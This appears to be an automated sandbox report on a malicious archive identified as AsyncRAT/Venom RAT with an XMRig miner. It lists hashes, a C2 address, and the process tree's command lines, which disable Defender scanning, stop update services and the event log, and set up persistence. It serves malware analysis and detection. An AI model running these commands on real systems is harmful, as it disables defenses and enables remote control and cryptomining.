Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    24-11-2024 18:54

General

  • Target

    Nova.rar

  • Size

    2.1MB

  • MD5

    50ee1cf21948c6015354e9c1a94ca5db

  • SHA1

    f2f6fb19a2db75d2d5515fd3a20c66eb8f3e6d42

  • SHA256

    8fe639c3cbdcb49a5246f85ce136f14c8c0ad5150c6e38b5eb66eced9d4c4329

  • SHA512

    46c8a6e2818972ec363b5905838e05828a87b10c7991ae5124c485ccf625da0cff4985d675bbda08a9eccf1fc1027c5db0a22f8e99c732f7593f66c68f3654dc

  • SSDEEP

    49152:OWYU2F4Tu9YiDuTnlvraYTi04JIBv1WteMcP+1HFFNFwAAnv4qy+d:ZYLCiDuDluYe0cUwp31bN1Aj

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

193.161.193.99:53757

Mutex

hsaurcrgqwhjimnkbht

Attributes
  • delay

    1

  • install

    true

  • install_file

    Load.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Async RAT payload 1 IoCs
  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 5 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 46 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Nova.rar"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4888
    • C:\Users\Admin\AppData\Local\Temp\7zO81314DE7\Loader.exe
      "C:\Users\Admin\AppData\Local\Temp\7zO81314DE7\Loader.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3152
      • C:\Users\Admin\AppData\Local\Temp\Loader.exe
        "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1164
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4776
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3096
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            5⤵
              PID:4552
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            4⤵
            • Launches sc.exe
            PID:1972
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            4⤵
            • Launches sc.exe
            PID:4864
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            4⤵
            • Launches sc.exe
            PID:1028
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            4⤵
            • Launches sc.exe
            PID:1880
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            4⤵
            • Launches sc.exe
            PID:4180
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4724
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:2156
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1232
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:5008
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe delete "KFUNOUIY"
            4⤵
            • Launches sc.exe
            PID:3392
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe create "KFUNOUIY" binpath= "C:\ProgramData\xqgefzhhbtbb\nnegaqupnsqi.exe" start= "auto"
            4⤵
            • Launches sc.exe
            PID:1460
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop eventlog
            4⤵
            • Launches sc.exe
            PID:948
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe start "KFUNOUIY"
            4⤵
            • Launches sc.exe
            PID:556
        • C:\Users\Admin\AppData\Local\Temp\Load.exe
          "C:\Users\Admin\AppData\Local\Temp\Load.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3400
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Load" /tr '"C:\Users\Admin\AppData\Roaming\Load.exe"' & exit
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4272
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc onlogon /rl highest /tn "Load" /tr '"C:\Users\Admin\AppData\Roaming\Load.exe"'
              5⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4512
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF6C4.tmp.bat""
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:468
            • C:\Windows\system32\timeout.exe
              timeout 3
              5⤵
              • Delays execution with timeout.exe
              PID:4540
            • C:\Users\Admin\AppData\Roaming\Load.exe
              "C:\Users\Admin\AppData\Roaming\Load.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:2952
    • C:\ProgramData\xqgefzhhbtbb\nnegaqupnsqi.exe
      C:\ProgramData\xqgefzhhbtbb\nnegaqupnsqi.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4812
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4264
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2324
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:4480
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:2312
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:5032
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:2056
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:1276
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:3192
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4784
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:3304
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:2904
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4976
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:4344
          • C:\Windows\explorer.exe
            explorer.exe
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4052

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Load.exe.log

          Filesize

          1KB

          MD5

          b4e91d2e5f40d5e2586a86cf3bb4df24

          SHA1

          31920b3a41aa4400d4a0230a7622848789b38672

          SHA256

          5d8af3c7519874ed42a0d74ee559ae30d9cc6930aef213079347e2b47092c210

          SHA512

          968751b79a98961f145de48d425ea820fd1875bae79a725adf35fc8f4706c103ee0c7babd4838166d8a0dda9fbce3728c0265a04c4b37f335ec4eaa110a2b319

        • C:\Users\Admin\AppData\Local\Temp\7zO81314DE7\Loader.exe

          Filesize

          2.1MB

          MD5

          a07c79f9e2dd72f3b884928ee384344e

          SHA1

          88df6b54a3e53a501b09b32de2def406820879fa

          SHA256

          35c4d936db755868a37561663cd4b279b338413db5f89c2f9df71d74a6d35b61

          SHA512

          cdb6957a1e59b053fdd8f0d43d9b1ba575da2140c5d2c547b87e8a5b1199f2d071f66152ade3cfdb5294903cf42f395a948b28ea87aef9d9aa6eacdeaffdd1fd

        • C:\Users\Admin\AppData\Local\Temp\Load.exe

          Filesize

          74KB

          MD5

          4fc5086bcb8939429aea99f7322e619b

          SHA1

          8d3bd7d005710a8ae0bd0143d18b437be20018d7

          SHA256

          e31d6dc4d6f89573321f389c5b3f12838545ff8d2f1380cfba1782d39853e9fd

          SHA512

          04e230f5b39356aecf4732ac9a2f4fea96e51018907e2f22c7e3f22e51188b64cdb3e202fe324f5e3500761fae43f898bf9489aa8faa34eff3566e1119a786d2

        • C:\Users\Admin\AppData\Local\Temp\Loader.exe

          Filesize

          2.5MB

          MD5

          35c54b6a9227ccb7149698254dc8dd52

          SHA1

          33433b0716128f7c887d7929ec50fab495e45f38

          SHA256

          db7744a5e7567b151e15c6159b03eb71974233db90716b38d7bb726fd61798e4

          SHA512

          492de363f0252005a303b7b169721f8536d131bbca71ef37bae59b4b17427dda869c14eea72fd3ed69efc0a3b19b9c3b18e7d6ada1721fbf9b0ce3bfaa57cc12

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r522tb30.fhj.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\tmpF6C4.tmp.bat

          Filesize

          148B

          MD5

          40bcbce9974487ca1a79897bb1c87381

          SHA1

          706e71b9118ce5f8b32a348a0c78bb2415f071be

          SHA256

          493110f27a0583b9ae94e22811ff3db0925a70aeb9932dcad31bce86cc30bed5

          SHA512

          9874ab9044b1685674599fdd834d15819cfc69199ddbe5ea86e5cf5b103adc81b0683c62970d8ab90a901bfced95f0b65f27391c7b98c575b92c0c0e1a960d9e

        • C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

          Filesize

          8B

          MD5

          cf759e4c5f14fe3eec41b87ed756cea8

          SHA1

          c27c796bb3c2fac929359563676f4ba1ffada1f5

          SHA256

          c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

          SHA512

          c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

        • memory/3152-12-0x00007FFF044F3000-0x00007FFF044F5000-memory.dmp

          Filesize

          8KB

        • memory/3152-13-0x0000000000230000-0x000000000044A000-memory.dmp

          Filesize

          2.1MB

        • memory/3152-15-0x00007FFF044F0000-0x00007FFF04FB2000-memory.dmp

          Filesize

          10.8MB

        • memory/3152-40-0x00007FFF044F0000-0x00007FFF04FB2000-memory.dmp

          Filesize

          10.8MB

        • memory/3400-38-0x0000000000270000-0x0000000000288000-memory.dmp

          Filesize

          96KB

        • memory/4052-107-0x0000000000F10000-0x0000000000F30000-memory.dmp

          Filesize

          128KB

        • memory/4052-104-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4052-114-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4052-113-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4052-108-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4052-109-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4052-110-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4052-112-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4052-111-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4052-102-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4052-105-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4052-103-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4052-101-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4052-106-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4052-100-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4264-88-0x0000025E27BC0000-0x0000025E27BC6000-memory.dmp

          Filesize

          24KB

        • memory/4264-81-0x0000025E0F1F0000-0x0000025E0F20C000-memory.dmp

          Filesize

          112KB

        • memory/4264-82-0x0000025E279C0000-0x0000025E27A73000-memory.dmp

          Filesize

          716KB

        • memory/4264-83-0x0000025E0F210000-0x0000025E0F21A000-memory.dmp

          Filesize

          40KB

        • memory/4264-84-0x0000025E27BA0000-0x0000025E27BBC000-memory.dmp

          Filesize

          112KB

        • memory/4264-85-0x0000025E27A80000-0x0000025E27A8A000-memory.dmp

          Filesize

          40KB

        • memory/4264-86-0x0000025E27BE0000-0x0000025E27BFA000-memory.dmp

          Filesize

          104KB

        • memory/4264-87-0x0000025E27A90000-0x0000025E27A98000-memory.dmp

          Filesize

          32KB

        • memory/4264-89-0x0000025E27BD0000-0x0000025E27BDA000-memory.dmp

          Filesize

          40KB

        • memory/4344-92-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4344-96-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4344-95-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4344-94-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4344-93-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4344-99-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4776-56-0x000001FA3E570000-0x000001FA3E592000-memory.dmp

          Filesize

          136KB